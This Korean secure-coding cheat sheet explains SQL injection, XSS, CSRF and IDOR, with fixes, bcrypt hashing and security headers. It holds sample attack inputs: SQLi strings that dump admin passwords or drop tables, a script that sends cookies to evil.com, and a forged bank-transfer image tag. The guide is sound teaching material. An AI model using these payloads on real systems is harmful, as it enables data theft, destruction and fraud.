주요 보안 공격 & 대응
SQL Injection (SQLi)
악의적인 SQL을 입력에 삽입해 DB를 조작하는 공격.
-- 취약한 쿼리
SELECT * FROM users WHERE name = '${input}'
-- 공격 입력
' OR '1'='1 → 모든 행 반환
'; DROP TABLE users -- → 테이블 삭제
' UNION SELECT id, password FROM admin --대응
// BAD — 문자열 연결
db.query(`SELECT * FROM users WHERE name = '${name}'`)
// GOOD — Prepared Statement (파라미터 바인딩)
db.query('SELECT * FROM users WHERE name = ?', [name])
// ORM 사용 (자동으로 처리)
userRepo.findOneBy({ name })XSS (Cross-Site Scripting)
악성 스크립트를 피해자 브라우저에서 실행시키는 공격.
| 종류 | 설명 |
|---|---|
| Stored XSS | DB에 스크립트 저장 후 다른 사용자에게 전달 |
| Reflected XSS | URL 파라미터에 스크립트 삽입 |
| DOM XSS | JS가 DOM을 직접 조작할 때 발생 |
<!-- 공격 예시 -->
<script>fetch('https://evil.com?c='+document.cookie)</script>대응
// 출력 시 HTML 이스케이프
function escapeHtml(str: string) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
}
// CSP 헤더 설정
res.setHeader('Content-Security-Policy', "default-src 'self'")
// HttpOnly Cookie — JS에서 접근 불가
res.cookie('token', value, { httpOnly: true, secure: true, sameSite: 'strict' })CSRF (Cross-Site Request Forgery)
인증된 사용자 권한으로 의도치 않은 요청을 실행시키는 공격.
<!-- 악성 사이트에서 피해자가 로그인된 은행으로 요청 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000000">대응
// CSRF 토큰 — 서버가 발급한 토큰을 요청마다 포함
// SameSite Cookie
res.cookie('session', value, { sameSite: 'strict' })
// Origin / Referer 헤더 검증
if (req.headers.origin !== 'https://myapp.com') {
return res.status(403).send('Forbidden')
}IDOR (Insecure Direct Object Reference)
권한 확인 없이 리소스 ID를 직접 참조해 다른 사용자 데이터에 접근.
GET /api/orders/12345 → 타인의 주문 조회
대응
// BAD
const order = await orderRepo.findById(req.params.id)
// GOOD — 소유자 확인
const order = await orderRepo.findOne({
where: { id: req.params.id, userId: req.user.id }
})
if (!order) throw new ForbiddenException()패스워드 보안
import bcrypt from 'bcrypt'
// 해싱 (저장 시)
const hash = await bcrypt.hash(password, 12) // cost factor 12
// 검증 (로그인 시)
const match = await bcrypt.compare(inputPassword, hash)| 잘못된 방법 | 올바른 방법 |
|---|---|
| 평문 저장 | bcrypt / argon2 해싱 |
| MD5 / SHA1 | bcrypt (salt 자동 포함) |
| 빠른 해시 함수 | 느린 해시 (cost factor 조정) |
보안 헤더
// Helmet.js (Express)
import helmet from 'helmet'
app.use(helmet())
// 주요 헤더
'X-Content-Type-Options': 'nosniff' // MIME 스니핑 방지
'X-Frame-Options': 'DENY' // Clickjacking 방지
'Strict-Transport-Security': 'max-age=31536000' // HTTPS 강제
'Content-Security-Policy': "default-src 'self'" // XSS 완화
'X-XSS-Protection': '1; mode=block'